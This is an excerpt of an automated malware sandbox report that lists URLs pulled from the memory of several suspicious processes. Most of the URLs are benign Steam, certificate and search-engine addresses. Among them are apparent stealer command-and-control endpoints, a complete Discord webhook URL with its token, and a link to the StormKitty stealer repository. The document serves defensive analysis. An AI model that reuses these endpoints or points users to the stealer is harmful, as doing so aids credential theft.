Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: usPaQ3D.exe, 0000000B.00000002.2646654757.00000000033F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_115.52.dr	String found in binary or memory: http://www.broofa.com
Source: skotes.exe, 00000005.00000002.2631568166.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: oldVNC.exe, 0000000D.00000003.2276292058.000000007EB1A000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2660843321.000000006E66F000.00000040.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000003.2273430008.000000007EB44000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2654118973.0000000063469000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: oldVNC.exe, 0000000D.00000003.2265515903.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2654118973.0000000063281000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: oldVNC.exe, 0000000D.00000003.2265515903.000000007ECF0000.00000004.00001000.00020000.00000000.sdmp, oldVNC.exe, 0000000D.00000002.2654118973.0000000063281000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_115.52.dr	String found in binary or memory: https://apis.google.com
Source: BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=SCXpgixTDzt4&a
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026CB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=lviE
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=JWHwHdDIz5WW&l=e
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQg
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crowdwarek.shop:443/api
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HNsLLEj.exe, 00000011.00000002.2336284446.000000000999C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://femalsabler.shop:443/api
Source: chromecache_115.52.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_115.52.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_115.52.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_115.52.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: svchost.exe, 00000033.00000003.2550739508.0000023ED1E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000033.00000003.2550739508.0000023ED1DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: usPaQ3D.exe, 0000000B.00000002.2646654757.00000000039FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: BitLockerToGo.exe, 0000000E.00000002.2385491570.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2361639095.00000000026A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373211355.00000000026A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://handscreamny.shop:443/api
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2359459862.0000000002729000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2372776248.0000000002732000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000003.2373176459.0000000002732000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: BitLockerToGo.exe, 0000000E.00000003.2359543693.00000000026DF000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 0000000E.00000002.2385924711.00000000026DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: bKIFsVe.exe, 00000016.00000003.2400954756.0000000000BD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou
Source: bKIFsVe.exe, 00000016.00000003.2419097861.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/
Source: bKIFsVe.exe, 00000016.00000003.2519090734.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marka4.cyou/&
